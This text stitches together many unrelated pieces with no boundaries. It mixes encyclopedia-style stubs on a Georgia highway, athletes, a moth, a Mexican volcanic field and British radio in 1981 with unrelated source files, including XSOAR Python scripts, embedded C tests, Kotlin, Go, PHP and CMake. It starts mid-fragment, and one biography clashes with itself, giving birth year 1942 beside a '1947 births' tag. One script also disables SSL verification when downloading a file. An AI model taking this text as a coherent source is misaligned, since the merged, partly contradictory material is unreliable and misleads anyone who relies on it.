Indonesia Expatriate men's footballers in Kazakhstan Expatriate men's footballers in Oman Expatriate men's footballers in India Expatriate men's footballers in the Maldives Expatriate men's footballers in Indonesia
State Route 257 (SR 257) is a southwest–to–northeast state highway located in the central part of the U.S. state of Georgia. It travels from Cordele to Dublin, via Hawkinsville. Its routing is located within portions of Crisp, Dooly, Wilcox, Pulaski, Bleckley, Dodge, and Laurens counties. SR 257 was the basis for a proposed connector route for I-75, Interstate 175 that would have connected Albany and Cordele on a more easterly routing. Route description SR 257 begins at an interchange with Interstate 75 (I-75) in Cordele in Crisp County. It heads northeast, enters Dooly County, and intersects SR 215. The highway cuts across the northwestern corner of Wilcox County, prior to entering Pulaski County. Before entering Hawkinsville, it intersects SR 27. The two highways run concurrent into town. In Hawkinsville, they intersect US 129/SR 11/SR 230, and all six highways travel to the east. At Jackson Street South, US 129/SR 11 depart to the south concurrent with SR 112, while US 129 Business/SR 11 Business head north. US 129 Alternate/SR 112 join the concurrency. East of town, US 129 Alternate/SR 112/SR 257 head north, while SR 230 heads south and SR 27 head to the east. Almost immediately is an intersection with US 341/SR 26. Here, SR 26 joins the concurrency, while SR 27 departs to the east, running concurrent with US 341. US 129 Alternate/SR 26/SR 112/SR 257 head northeast for a short distance, until SR 257 leaves the concurrency to the northeast. It enters Bleckley County and passes through rural areas until it has a brief concurrency with US 23/SR 87 in Empire. During that concurrency, the three highways enter Dodge County. It continues to the northeast, until it enters Chester, where it has a short concurrency with SR 126. Upon leaving town, SR 257 enters Laurens County. In Dexter is another concurrency with SR 338. Just before entering Dublin, it has an interchange with I-16 and then intersects US 441 Bypass/SR 117. In town, it meets its eastern terminus, an intersection with US 319/US 441/SR 31. History The portion of the highway in Laurens County was numbered as SR 277 until 1959. Interstate 175 Interstate 175 (I-175) was a proposed auxiliary route of I-75. Most of the highway would have paralleled the current route of SR 300 (then numbered as SR 257). This highway would have connected the city of Albany to the Interstate Highway System via I-75, had it actually been built. I-175 and its unsigned State Route 412 were proposed in 1976 to travel east from the Liberty Expressway (US 19/US 82/SR 50) in Albany. It would then curve to the northeast, and travel on a routing that would have been located farther to the east than SR 257. Major intersections See also References External links Georgia Roads (Routes 241 - 260) 257 Transportation in Crisp County, Georgia Transportation in Dooly County, Georgia Transportation in Wilcox County, Georgia Transportation in Pulaski County, Georgia Transportation in Bleckley County, Georgia Transportation in Dodge County, Georgia Transportation in Laurens County, Georgia
Francis Steward "Cal" Hockley (March 21, 1931 – December 10, 2020) was a Canadian ice hockey player with the Trail Smoke Eaters. He was the captain of the gold medal winning team at the 1961 World Ice Hockey Championships in Switzerland. References 1931 births 2020 deaths Ice hockey people from British Columbia Canadian ice hockey centres People from Fernie, British Columbia
Genelle is both a surname and a given name. Notable people with the name include: Kim Genelle (born 1956), American fashion model and actress Richard Genelle (1961–2008), American entrepreneur and actor Genelle Williams (born 1984), Canadian actress
Geogepa zeuxidia is a species of moth of the family Tortricidae. It is found in Zhejiang, China. References Moths described in 1977 Archipini
```python import demistomock as demisto # noqa: F401 from CommonServerPython import * # noqa: F401 import urllib3 # disable insecure warnings urllib3.disable_warnings() WELCOME_MESSAGE = '''\n # Welcome to the XSOAR Use Case Builder! **Please Watch this video to learn the basics of XSOAR.** ''' def download_clip(verify_ssl=False): res = requests.get( 'path_to_url verify=verify_ssl ) res.raise_for_status() return res.content def main(): data = download_clip() entry = fileResult('Getting Started with XSOAR', data) entry.update({ "Type": 10, # EntryVideoFile 'HumanReadable': WELCOME_MESSAGE, }) return_results(entry) if __name__ in ('__main__', '__builtin__', 'builtins'): main() ```
```c /* * */ #include "unity.h" #include "unity_test_runner.h" #include "esp_heap_caps.h" #include "esp_partition.h" #include "memory_checks.h" // Some resources are lazy allocated in flash encryption, the threadhold is left for that case #define TEST_MEMORY_LEAK_THRESHOLD (-400) static size_t before_free_8bit; static size_t before_free_32bit; static void check_leak(size_t before_free, size_t after_free, const char *type) { ssize_t delta = after_free - before_free; printf("MALLOC_CAP_%s: Before %u bytes free, After %u bytes free (delta %d)\n", type, before_free, after_free, delta); TEST_ASSERT_MESSAGE(delta >= TEST_MEMORY_LEAK_THRESHOLD, "memory leak"); } void setUp(void) { // Calling esp_partition_find_first ensures that the paritions have been loaded // and subsequent calls to esp_partition_find_first from the tests would not // load partitions which otherwise gets considered as a memory leak. esp_partition_find_first(ESP_PARTITION_TYPE_DATA, ESP_PARTITION_SUBTYPE_DATA_NVS, NULL); test_utils_record_free_mem(); before_free_8bit = heap_caps_get_free_size(MALLOC_CAP_8BIT); before_free_32bit = heap_caps_get_free_size(MALLOC_CAP_32BIT); } void tearDown(void) { size_t after_free_8bit = heap_caps_get_free_size(MALLOC_CAP_8BIT); size_t after_free_32bit = heap_caps_get_free_size(MALLOC_CAP_32BIT); check_leak(before_free_8bit, after_free_8bit, "8BIT"); check_leak(before_free_32bit, after_free_32bit, "32BIT"); } void app_main(void) { // ________ ___ _____ __ __ _______ ______________ ______ ______________ _ __ // / ____/ / / | / ___// / / / / ____/ | / / ____/ __ \ \/ / __ \/_ __/ _/ __ \/ | / / // / /_ / / / /| | \__ \/ /_/ / / __/ / |/ / / / /_/ /\ / /_/ / / / / // / / / |/ / // / __/ / /___/ ___ |___/ / __ / / /___/ /| / /___/ _, _/ / / ____/ / / _/ // /_/ / /| / // /_/ /_____/_/ |_/____/_/ /_/ /_____/_/ |_/\____/_/ |_| /_/_/ /_/ /___/\____/_/ |_/ printf(" ________ ___ _____ __ __ _______ ______________ ______ ______________ _ __ \n"); printf(" / ____/ / / | / ___// / / / / ____/ | / / ____/ __ \\ \\/ / __ \\/_ __/ _/ __ \\/ | / / \n"); printf(" / /_ / / / /| | \\__ \\/ /_/ / / __/ / |/ / / / /_/ /\\ / /_/ / / / / // / / / |/ / \n"); printf(" / __/ / /___/ ___ |___/ / __ / / /___/ /| / /___/ _, _/ / / ____/ / / _/ // /_/ / /| / \n"); printf("/_/ /_____/_/ |_/____/_/ /_/ /_____/_/ |_/\\____/_/ |_| /_/_/ /_/ /___/\\____/_/ |_/ \n"); unity_run_menu(); } ```
Wilbur Walter "Red" White (April 30, 1912 – April 1968) was an American football player. A native of Seibert, Colorado, White attended Fort Collins High School and then played college football at Colorado State University. He was selected by the United Press as a first-team halfback on the 1934 All-Rocky Mountain football team. He also played professional football in the National Football League (NFL) as a back for the Brooklyn Dodgers in 1935 and for the Detroit Lions in 1936. He appeared in 11 NFL games. References 1912 births 1968 deaths Colorado State Rams football players Brooklyn Dodgers (NFL) players Detroit Lions players Players of American football from Colorado
```kotlin /* * * * path_to_url * * Unless required by applicable law or agreed to in writing, software * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. */ package com.google.android.flexbox import android.view.View import android.view.ViewGroup /** * Fake implementation of [FlexContainer]. */ internal class FakeFlexContainer : FlexContainer { private val views = mutableListOf<View>() private var flexLines = mutableListOf<FlexLine>() @FlexDirection private var flexDirection = FlexDirection.ROW @FlexWrap private var flexWrap = FlexWrap.WRAP @JustifyContent private var justifyContent = JustifyContent.FLEX_START @AlignItems private var alignItems = AlignItems.STRETCH @AlignContent private var alignContent = AlignContent.STRETCH private var maxLine = -1 override fun getFlexItemCount() = views.size override fun getFlexItemAt(index: Int) = views[index] override fun getReorderedFlexItemAt(index: Int) = views[index] override fun addView(view: View) { views.add(view) } override fun addView(view: View, index: Int) { views.add(index, view) } override fun removeAllViews() { views.clear() } override fun removeViewAt(index: Int) { views.removeAt(index) } override fun getFlexDirection() = flexDirection override fun setFlexDirection(@FlexDirection flexDirection: Int) { this.flexDirection = flexDirection } override fun getFlexWrap() = flexWrap override fun setFlexWrap(@FlexWrap flexWrap: Int) { this.flexWrap = flexWrap } override fun getJustifyContent() = justifyContent override fun setJustifyContent(@JustifyContent justifyContent: Int) { this.justifyContent = justifyContent } override fun getAlignContent() = alignContent override fun setAlignContent(@AlignContent alignContent: Int) { this.alignContent = alignContent } override fun getAlignItems() = alignItems override fun setAlignItems(@AlignItems alignItems: Int) { this.alignItems = alignItems } override fun getMaxLine(): Int = this.maxLine override fun setMaxLine(maxLine: Int) { this.maxLine = maxLine } override fun getFlexLines() = flexLines override fun isMainAxisDirectionHorizontal(): Boolean { return flexDirection == FlexDirection.ROW || flexDirection == FlexDirection.ROW_REVERSE } override fun getDecorationLengthMainAxis(view: View, index: Int, indexInFlexLine: Int) = 0 override fun getDecorationLengthCrossAxis(view: View) = 0 override fun getPaddingTop() = 0 override fun getPaddingLeft() = 0 override fun getPaddingRight() = 0 override fun getPaddingBottom() = 0 override fun getPaddingStart() = 0 override fun getPaddingEnd() = 0 override fun getChildWidthMeasureSpec(widthSpec: Int, padding: Int, childDimension: Int): Int { return ViewGroup.getChildMeasureSpec(widthSpec, padding, childDimension) } override fun getChildHeightMeasureSpec(heightSpec: Int, padding: Int, childDimension: Int): Int { return ViewGroup.getChildMeasureSpec(heightSpec, padding, childDimension) } override fun getLargestMainSize() = flexLines.maxBy { it.mMainSize }?.mMainSize ?: Integer.MIN_VALUE override fun getSumOfCrossSize() = flexLines.sumBy { it.mCrossSize } override fun onNewFlexItemAdded(view: View, index: Int, indexInFlexLine: Int, flexLine: FlexLine) = Unit override fun onNewFlexLineAdded(flexLine: FlexLine) = Unit override fun setFlexLines(flexLines: List<FlexLine>) { this.flexLines = flexLines.toMutableList() } override fun getFlexLinesInternal() = flexLines override fun updateViewCache(position: Int, view: View) = Unit } ```
```elixir # Used by "mix format" locals_without_parens = [ dispatch: 2, identify: 2, middleware: 1, router: 1 ] [ import_deps: [:telemetry_registry], inputs: [ "{mix,.formatter}.exs", "{config,lib,test}/**/*.{ex,exs}" ], locals_without_parens: locals_without_parens, export: [locals_without_parens: locals_without_parens] ] ```
```shell Shebang `#!` explained Execute a command without saving it in history Quick `bash` shortcuts Terminal based browser Random password generator ```
Jaraguay volcanic field is a volcanic field in northern Baja California, Mexico. Jaraguay volcanic field is part of a chain of volcanic fields that formed on the Baja California peninsula after subduction of the Pacific plate beneath it ceased. Starting from the north they are San Quintín, Jaraguay, San Borja, Santa Clara, San Ignacio–San José de Gracia, Santa Rosalía and La Purísima (volcano) volcanic fields. The field consists of cinder cones and lava flows. The lavas cover a surface area of and tend to have thicknesses . Many of these were erupted from fissures with no clear vents. Cinder cones have average heights of above basis. There is some geographical differentiation with the largest cones found on the western side and the cones concentrated on the easternmost edge. A flat lava plateau also makes up the field. Approximately 214 vents were counted in 2013. Many of these vents are elongated in north-south direction, with a slight NNW-SSE slant. Rocks erupted in the field range from magnesium-rich basalt to basaltic andesite. These magnesium rich lavas have been named "bajaites". Late Miocene adakites are also found in Jaraguay. These melts probably form from dehydration melting of the mantle modified by the previous subduction of the Farallon plate; another older theory attributed their formation to the attempted subduction of a spreading ridge. The basement of the field is formed by Mesozoic sedimentary sequences with Cretaceous intrusions and Tertiary volcanic rocks. Activity may be of Holocene age; some flows appear to be more recent than lava flows from San Quintín Volcanic Field which overlie 5,000-6,000-year-old deposits. Other than that, potassium-argon dating indicates effusive activity between 20 and 14 million years ago with a peak between 12.2 and 3.9 million years ago. References Holocene volcanoes Volcanic fields Volcanoes of Baja California
Estadio Huancayo is a multi-use stadium in Huancayo, Peru. It is currently used mostly for football matches and is the home of Sport Huancayo and Deportivo Junín. Other teams that previously used the stadium are Deportivo Wanka and Meteor Junin. The stadium holds 20,000 people. References External links World Stadiums Huancayo's tourist information web page Huancayo Buildings and structures in Junín Region
```go package subcmds import ( "context" "flag" "fmt" "io/fs" "os" "path/filepath" "strings" "github.com/future-architect/vuls/config" "github.com/future-architect/vuls/reporter" "github.com/google/subcommands" ) // HistoryCmd is Subcommand of list scanned results type HistoryCmd struct{} // Name return subcommand name func (*HistoryCmd) Name() string { return "history" } // Synopsis return synopsis func (*HistoryCmd) Synopsis() string { return `List history of scanning.` } // Usage return usage func (*HistoryCmd) Usage() string { return `history: history [-results-dir=/path/to/results] ` } // SetFlags set flag func (p *HistoryCmd) SetFlags(f *flag.FlagSet) { f.BoolVar(&config.Conf.DebugSQL, "debug-sql", false, "SQL debug mode") wd, _ := os.Getwd() defaultResultsDir := filepath.Join(wd, "results") f.StringVar(&config.Conf.ResultsDir, "results-dir", defaultResultsDir, "/path/to/results") } // Execute execute func (p *HistoryCmd) Execute(_ context.Context, _ *flag.FlagSet, _ ...interface{}) subcommands.ExitStatus { dirs, err := reporter.ListValidJSONDirs(config.Conf.ResultsDir) if err != nil { return subcommands.ExitFailure } for _, d := range dirs { var files []fs.DirEntry if files, err = os.ReadDir(d); err != nil { return subcommands.ExitFailure } var hosts []string for _, f := range files { if filepath.Ext(f.Name()) != ".json" { continue } fileBase := strings.TrimSuffix(f.Name(), filepath.Ext(f.Name())) hosts = append(hosts, fileBase) } splitPath := strings.Split(d, string(os.PathSeparator)) timeStr := splitPath[len(splitPath)-1] fmt.Printf("%s %d servers: %s\n", timeStr, len(hosts), strings.Join(hosts, ", "), ) } return subcommands.ExitSuccess } ```
The Brooklyn Bunny website is one of the first and currently the longest running rabbit webcams. History The Brooklyn Bunny website is a rabbit webcam that first went live on August 28, 2005. The website is a project of designers Kevin Dresser and Kate Johnson of the design firm Dresser Johnson. The idea was initiated when the two Brooklyn-based designers discussed starting a rabbit pet-sitting business. The idea was to have two live webcams so rabbit owners could check in on their rabbit via the internet. However, the pet-sitting business was scrapped when they offered to care for a foster rabbit. The idea of the Brooklyn Bunny website was born when they became attached to the Dwarf Hotot rabbit, which they decided to name Roebling after John A. Roebling, designer of the Brooklyn Bridge. Roebling Roebling is the name of the rabbit star of Brooklyn Bunny. He is named after the designer of the Brooklyn Bridge, John A. Roebling. Roebling is a Dwarf Hotot breed of rabbit. References External links "Famous Rabbits List" from The House Rabbit Society Gothamist talks to Kevin Dresser of Brooklyn Bunny PSFK talks to Kevin Dresser of Brooklyn Bunny Brooklyn Bunny Facebook Page Animal webcams Leporidae Internet properties established in 2005
Evelyne Tschopp (born 19 June 1991) is a Swiss judoka. She competed at the 2016 Summer Olympics in Rio de Janeiro, in the women's 52 kg. In 2020, she competed in the women's 52 kg event at the 2020 European Judo Championships held in Prague, Czech Republic. References External links 1991 births Living people Swiss female judoka Olympic judoka for Switzerland Judoka at the 2016 Summer Olympics Universiade medalists in judo Universiade bronze medalists for Switzerland European Games competitors for Switzerland Judoka at the 2015 European Games Medalists at the 2015 Summer Universiade Sportspeople from Basel-Landschaft 21st-century Swiss women
```shell Adding a remote repository You can use git offline! Make your log output pretty How to write a git commit message `master` and `origin` aren't special ```
```smalltalk namespace DetectTextExample { // snippet-start:[Rekognition.dotnetv3.DetectTextExample] using System; using System.Threading.Tasks; using Amazon.Rekognition; using Amazon.Rekognition.Model; /// <summary> /// Uses the Amazon Rekognition Service to detect text in an image. The /// example was created using the AWS SDK for .NET version 3.7 and .NET /// Core 5.0. /// </summary> public class DetectText { public static async Task Main() { string photo = "Dad_photographer.jpg"; // "input.jpg"; string bucket = "igsmiths3photos"; // "bucket"; var rekognitionClient = new AmazonRekognitionClient(); var detectTextRequest = new DetectTextRequest() { Image = new Image() { S3Object = new S3Object() { Name = photo, Bucket = bucket, }, }, }; try { DetectTextResponse detectTextResponse = await rekognitionClient.DetectTextAsync(detectTextRequest); Console.WriteLine($"Detected lines and words for {photo}"); detectTextResponse.TextDetections.ForEach(text => { Console.WriteLine($"Detected: {text.DetectedText}"); Console.WriteLine($"Confidence: {text.Confidence}"); Console.WriteLine($"Id : {text.Id}"); Console.WriteLine($"Parent Id: {text.ParentId}"); Console.WriteLine($"Type: {text.Type}"); }); } catch (Exception e) { Console.WriteLine(e.Message); } } } // snippet-end:[Rekognition.dotnetv3.DetectTextExample] } ```
```python import demistomock as demisto from CommonServerPython import * import urllib3 # Disable insecure warnings urllib3.disable_warnings() def get_mitre_results(items): return execute_command('mitre-get-indicator-name', {'attack_ids': items}) def is_valid_attack_pattern(items) -> list: try: results = get_mitre_results(items) values = [content.get('value') for content in results] return values if values else [] except ValueError as e: if 'verify you have proper integration enabled to support it' in str(e): demisto.info('Unsupported Command : mitre-get-indicator-name, ' 'verify you have proper integration (MITRE ATTACK v2) enabled to support it. ' 'This Is needed in order to auto extract MITRE IDs and translate them to Attack Pattern IOCs') else: demisto.info(f'MITRE Attack formatting script, {str(e)}') return [] except Exception as e: demisto.info(f'MITRE Attack formatting script, {str(e)}') return [] def main(): the_input = demisto.args().get('input') entries_list = is_valid_attack_pattern(the_input) if entries_list: return_results(entries_list) else: return_results('') if __name__ in ("__builtin__", "builtins"): main() ```
Nene Elsie Nwada Obianyo (born 1942) is a Nigerian paediatric surgeon, delegate from Nigeria to the World Federation of Associations of Paediatric Surgeons and one of the two Nigerian surgeons who first successfully separated conjoined twins in Nigeria at the University of Nigeria Teaching Hospital (UNTH) Enugu in 1988. Early life and education Obianyo was born in Imo state to the family of late Chief and Chief (Mrs) B.C.U. Agugua of Nkwerre in Imo with 11 siblings. She started her education journey at St. Michael's Primary School, Aba and then received the Orlu Divisional Scholarship Award in 1957 because of her brilliance and proceeded to attend St. Catherine's Girls' Secondary School, Nkwerre and then Queen's School Enugu for her Higher School Education and was the school prefect in 1964. In 1965, she gained admission to the University of Ibadan to study Medicine but the Nigerian Civil War of 1966 interrupted her studies and due to her relationship with the British Missionaries she was able to transfer to the University of Birmingham, England, where she obtained the Bachelor of Medicine and Bachelor of Surgery degree (MBChB) in 1970. In 1974, she passed the Higher Surgical Training in United Kingdom (Fellowship of the Royal Colleges of Surgeons, England) examination at the first attempt and qualified as a specialist general surgeon. She got the Commonwealth Scholarship Award between 1982 and 1983 and had further specialist training in Paediatric Surgery at the Children's Hospital, Birmingham, England. Career Her first post was at Ibadan, where she worked there for only one year and then proceeded to College of Medicine, University of Nigeria, Enugu campus in 1974 where she served as head, Department of Surgery, head, Paediatric Surgery, College Dean, Deputy Provost and became a professor of paediatric surgery in 1992. She later moved to the College of Medicine, Enugu State University of Science and Technology where she served as the Provost between 2005 and 2011 and became an emeritus professor in 2005. In 1988, she made history in clinical medicine in Nigeria as she was one of the two Nigerian surgeons who performed the first successful separation of conjoined twins in Nigeria at the University of Nigerian Teaching Hospital (UNTH) Enugu. In 1993, she successfully separated another set of conjoined twins involving the division of the conjoined liver. She gave a guest lecture titled 'Conjoined Twins – The Nigerian experience' at the scientific congress of the Association of Nigerian Physicians in the Americas at Chicago USA in 2002 and in 2003, she made a poster presentation of 'Conjoined Twins of UNTH' at the scientific conference of the British Association of Paediatric Surgeons. In Tokyo Japan in 2004, she made a scientific presentation titled 'The Challenges of Conjoined Twins' at the congress of the Medical Women International Association. References 1947 births Women pediatricians Women surgeons Pediatric surgeons Nigerian surgeons Alumni of the University of Birmingham Living people 20th-century women physicians 21st-century women physicians People from Imo State 20th-century surgeons
Alexander Mikhailovich Zverev (, born 22 January 1960) is a former professional tennis player from Russia who competed for the Soviet Union. Career In 1979, he made his first appearance for the Soviet Davis Cup team. Zverev was a bronze medalist in the men's singles event at the 1983 Summer Universiade and won a singles gold medal at the Friendship Games, which were held in 1984. He did better than two years earlier at the 1985 Summer Universiade, winning both the singles gold medal and the doubles gold medal, partnering Sergi Leonyuk, with whom he was also a gold medalist in the 1986 Goodwill Games. He appeared in three Grand Slam tournaments during his career. In the 1985 Australian Open he qualified for the main draw and was beaten in the opening round by Tim Wilkison. Again playing as a qualifier, Zverev met Tim Mayotte in the first round of the 1986 Wimbledon Championships and was defeated in straight sets. As a mixed doubles player he took part in the 1986 French Open with Svetlana Cherneva. Zverev played mostly on the Challenger circuit, where he had victories over two top 50 players, Andrei Chesnokov and Jan Gunnarsson. He did however make the second round of the 1985 Geneva Open, a Grand Prix tournament. He played his final Davis Cup tie in 1987 and retired having taken part in 36 rubbers, from which he won 18. One of those was a doubles win over the Czechoslovak pairing of Libor Pimek and Tomáš Šmíd, the latter ranked number one in the world for doubles at the time. Three time Soviet champion in men's singles and 4 time winner in men's doubles. Personal life In 1991, Zverev and his wife, professional tennis player Irina Zvereva, relocated to Germany. They are parents to tennis players Alexander and Mischa who both represent Germany on the ATP Tour. Notes References 1960 births Living people Soviet male tennis players Universiade medalists in tennis Soviet emigrants to Germany Russian emigrants to Germany Naturalized citizens of Germany Sportspeople from Sochi Goodwill Games medalists in tennis FISU World University Games gold medalists for the Soviet Union Universiade bronze medalists for the Soviet Union Medalists at the 1983 Summer Universiade Medalists at the 1985 Summer Universiade Competitors at the 1986 Goodwill Games Friendship Games medalists in tennis
Jarvey or jarvie may refer to: The driver of a jaunting car Coachman, often referred to as a "jarvey" or "jarvie" Literature The Jarvey (newspaper), a weekly comic newspaper edited by Percy French The Adventure of the Laughing Jarvey, a Sherlock Holmes pastiche written by Stephen Fry People Jarvis (disambiguation), of which "Jarvey" can be a nickname John Alfred Jarvey (born 1956), US federal judge Ken Jarvey, a member of 764-HERO Drew Jarvie (born 1948), Scottish footballer Paul Jarvie (born 1982), Scottish footballer Tom Jarvie (1916–2011), Scottish footballer John Jervis, 1st Earl of St Vincent (1735–1823). was nicknamed "Old Jarvey"
Lovett Lee House is a historic home located near Giddensville, Sampson County, North Carolina. The house was built about 1880, and is a two-story, single pile frame dwelling with Late Victorian style decorative elements. It has a rear ell, hipped roof, and decorative double-tier front porch. The interior follows a central hall plan. It was added to the National Register of Historic Places in 1986. References Houses on the National Register of Historic Places in North Carolina Victorian architecture in North Carolina Houses completed in 1880 Houses in Sampson County, North Carolina National Register of Historic Places in Sampson County, North Carolina
```php <?php /* * * * path_to_url * * Unless required by applicable law or agreed to in writing, software * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the */ namespace Google\Service\Container; class SetLocationsRequest extends \Google\Collection { protected $collection_key = 'locations'; /** * @var string */ public $clusterId; /** * @var string[] */ public $locations; /** * @var string */ public $name; /** * @var string */ public $projectId; /** * @var string */ public $zone; /** * @param string */ public function setClusterId($clusterId) { $this->clusterId = $clusterId; } /** * @return string */ public function getClusterId() { return $this->clusterId; } /** * @param string[] */ public function setLocations($locations) { $this->locations = $locations; } /** * @return string[] */ public function getLocations() { return $this->locations; } /** * @param string */ public function setName($name) { $this->name = $name; } /** * @return string */ public function getName() { return $this->name; } /** * @param string */ public function setProjectId($projectId) { $this->projectId = $projectId; } /** * @return string */ public function getProjectId() { return $this->projectId; } /** * @param string */ public function setZone($zone) { $this->zone = $zone; } /** * @return string */ public function getZone() { return $this->zone; } } // Adding a class alias for backwards compatibility with the previous class name. class_alias(SetLocationsRequest::class, 'Google_Service_Container_SetLocationsRequest'); ```
Séïdath Konabe Tchomogo (born 13 August 1985) is a Beninese former professional footballer who played as a midfielder. International career Tchomogo was part of the Benin national team at the 2004 African Nations Cup. He also played at the 2005 FIFA World Youth Championship in the Netherlands. He made his last appearance for Benin on 8 September 2013 in a 2014 FIFA World Cup qualification match against Rwanda which his side won 2-0. Football ban In April 2019 Tchomogo was one of four African former international footballers banned for life by FIFA due to "match manipulation". Career statistics Scores and results list Benin' goal tally first. References External links 1985 births Living people People from Porto-Novo Beninese men's footballers Benin men's international footballers Beninese expatriate men's footballers 2004 African Cup of Nations players 2008 Africa Cup of Nations players 2010 Africa Cup of Nations players Men's association football midfielders Lions de l'Atakory players East Riffa Club players Al-Orouba SC players The Panthers FC players Suwaiq Club players Expatriate men's footballers in Bahrain Beninese expatriate sportspeople in Bahrain Expatriate men's footballers in Oman Beninese expatriate sportspeople in Oman Match fixers Sportspeople banned for life
Mahito (真人) was one of the hereditary noble titles of ancient Japan. It was the highest in the Yakusa no kabane system of eight kabane titles. History Mahito was the highest in the Yakusa no kabane system of eight kabane titles (the second being Ason and the third being Sukune), which was established in October 684, during the reign of Emperor Tenmu. Mahito was originally a Chinese Taoist term for hermit, shinjin, but it was read as "mahito" in the Yakusa no kabane system, and was given the descendants of the Imperial Family after Emperor Ōjin. At the beginning of the enactment, the title was given to 13 clans, after which the number was increased to 60 clans. Later, it was given to members of the Imperial Family who were demoted to nobility. However, during the Nara period, the kabane system was abolished, and the number of clans taking the title gradually decreased. See also Ason Sukune Muraji References Japanese historical terms Titles Ancient Japan Japanese nobility
```cmake board_runner_args(stm32cubeprogrammer "--port=swd" "--reset-mode=hw") board_runner_args(stm32cubeprogrammer "--port=swd" "--reset-mode=hw") board_runner_args(openocd "--tcl-port=6666") board_runner_args(openocd --cmd-pre-init "gdb_report_data_abort enable") board_runner_args(openocd "--no-halt") board_runner_args(pyocd "--target=stm32u575zitx") board_runner_args(jlink "--device=STM32U575ZI" "--reset-after-load") include(${ZEPHYR_BASE}/boards/common/stm32cubeprogrammer.board.cmake) include(${ZEPHYR_BASE}/boards/common/openocd.board.cmake) include(${ZEPHYR_BASE}/boards/common/pyocd.board.cmake) include(${ZEPHYR_BASE}/boards/common/jlink.board.cmake) ```
This is a list of events in British radio during 1981. Events January 2 January – Dave Lee Travis presents his final edition of the Radio 1 Breakfast Show after two and a half years at the helm. 5 January – Mike Read succeeds Dave Lee Travis as presenter of the Radio 1 Breakfast Show. February 11 February – BBC Radio London begins broadcasting in stereo. 19 February–9 April – Campus comedy serial Patterson, written by Malcolm Bradbury and Christopher Bigsby, receives its original broadcast – unusually for a sitcom – on BBC Radio 3. March No events. April No events. May No events. June No events. July 4 July – BBC Radio Blackburn expands to cover all of Lancashire and is renamed accordingly. 27th July – Northsound Radio launched in Aberdeen from studios at 45 King's Gate. July – The Home Secretary approves proposals for the creation of Independent Local Radio services in 25 more areas. August No events. September 21 September – Steve Wright in the Afternoon is broadcast on BBC Radio 1 for the first time. 24 September – John Lade presents BBC Radio 3's Record Review for the final time. His last broadcast is the programme's 1,000th edition. Paul Vaughan takes over the programme the following week. October October – BBC Radio Deeside is expanded to cover all of north east Wales and is renamed BBC Radio Clwyd 4 October – The first edition of All Time Greats, presented by Desmond Carrington, is broadcast on BBC Radio 2. The programme, broadcast on Sunday lunchtimes, remains on air until the late 2000s. November 23 November – BBC Radio Birmingham expands to cover the West Midlands, South Staffordshire, north Worcestershire and north Warwickshire and is relaunched as BBC WM. December Three months after launching, Essex Radio expands into mid-Essex when it starts broadcasting from transmitters located near Chelmsford. Station debuts 27 July – Northsound Radio 1 September – Radio Aire 7 September – Centre Radio 12 September – Essex Radio 15 October – Chiltern Radio 27 October – Radio West 4 December – West Sound Radio Closing this year Programme debuts 19 February – Patterson, BBC Radio 3 (1981) 8 March – The Lord of the Rings (radio series), BBC Radio 4 (1981) 21 September – Steve Wright in the Afternoon, originally billed as Steve Wright, BBC Radio 1 (1981–1993, 1999–2022) Continuing radio programmes 1940s Sunday Half Hour (1940–2018) Desert Island Discs (1942–Present) Down Your Way (1946–1992) Letter from America (1946–2004) Woman's Hour (1946–Present) A Book at Bedtime (1949–Present) 1950s The Archers (1950–Present) The Today Programme (1957–Present) Sing Something Simple (1959–2001) Your Hundred Best Tunes (1959–2007) 1960s Farming Today (1960–Present) In Touch (1961–Present) The World at One (1965–Present) The Official Chart (1967–Present) Just a Minute (1967–Present) The Living World (1968–Present) The Organist Entertains (1969–2018) 1970s PM (1970–Present) Start the Week (1970–Present) Week Ending (1970–1998) You and Yours (1970–Present) I'm Sorry I Haven't a Clue (1972–Present) Good Morning Scotland (1973–Present) Kaleidoscope (1973–1998) Newsbeat (1973–Present) The News Huddlines (1975–2001) File on 4 (1977–Present) Money Box (1977–Present) The News Quiz (1977–Present) Breakaway (1979–1998) Feedback (1979–Present) The Food Programme (1979–Present) Science in Action (1979–Present) 1980s Radio Active (1980–1987) Births 25 May – Huw Stephens, Welsh radio presenter 1 July – Clemency Burton-Hill, classical music presenter 3 September – Fearne Cotton, broadcast presenter Deaths 7 January – Alvar Liddell, 72, BBC Radio announcer and newsreader 10 February – Leonard Plugge, 91, commercial radio promoter and politician 13 April – Gwyn Thomas, 67, Welsh writer and broadcaster 23 September – Sam Costa, 71, crooner, voice actor and disc jockey 30 November – Val Gielgud, 81, pioneer director of broadcast drama See also 1981 in British music 1981 in British television 1981 in the United Kingdom List of British films of 1981 References Radio British Radio, 1981 In Years in British radio
Marvin Edward Blaylock (September 30, 1929 – October 23, 1993) was an American professional baseball first baseman and outfielder, who played in Major League Baseball (MLB) for the Philadelphia Phillies and New York Giants. Between and , he appeared in 287 big league games. Blaylock threw and batted left-handed, standing tall and weighing , during his playing days. Originally signed by the Giants in 1947, Blaylock appeared in only one MLB game for them, as a pinch hitter on September 26, 1950. Batting for pitcher Larry Jansen, he popped out to third baseman Billy Cox off Ralph Branca of the Brooklyn Dodgers. Blaylock then returned to Minor League Baseball (MiLB) for four full seasons, batting over .300 for the 1954 Syracuse Chiefs of the Triple-A International League, the top farm club of the Phillies, which earned him a second trial in MLB. Blaylock was the Phillies' most-used first baseman in both and . In 1955, he appeared in 113 games, starting 55 of them (while Earl Torgeson, Eddie Waitkus, and Stan Lopata each started more than 25 games at first for the team). Blaylock batted only .208 with three home runs that season. However, in 1956, he started 110 games at first, improved his batting average to .254, and hit ten home runs, fourth on the team. But it was not enough production, and Blaylock lost his starting job to rookie Ed Bouchee in . He was sent down to the Triple-A Miami Marlins for 41 games before his recall in September 1957. In his final Major League at bat, Blaylock hit a pinch hit home run off René Valdés of the Dodgers in an 8–4 loss at Connie Mack Stadium. As a Major Leaguer, he had 175 total hits, including 21 doubles, 15 triples, and 15 homers. Blaylock was out of baseball in 1958 but returned for a final pro season in 1959 at the Double-A level, with the Nashville Vols of the Southern Association. References External links 1929 births 1993 deaths Baseball players from Arkansas Jersey City Giants players Lawton Giants players Major League Baseball first basemen Miami Marlins (International League) players Minneapolis Millers (baseball) players Nashville Vols players New York Giants (NL) players Ottawa Giants players Philadelphia Phillies players Sioux City Soos players Sportspeople from Fort Smith, Arkansas Syracuse Chiefs players Trenton Giants players
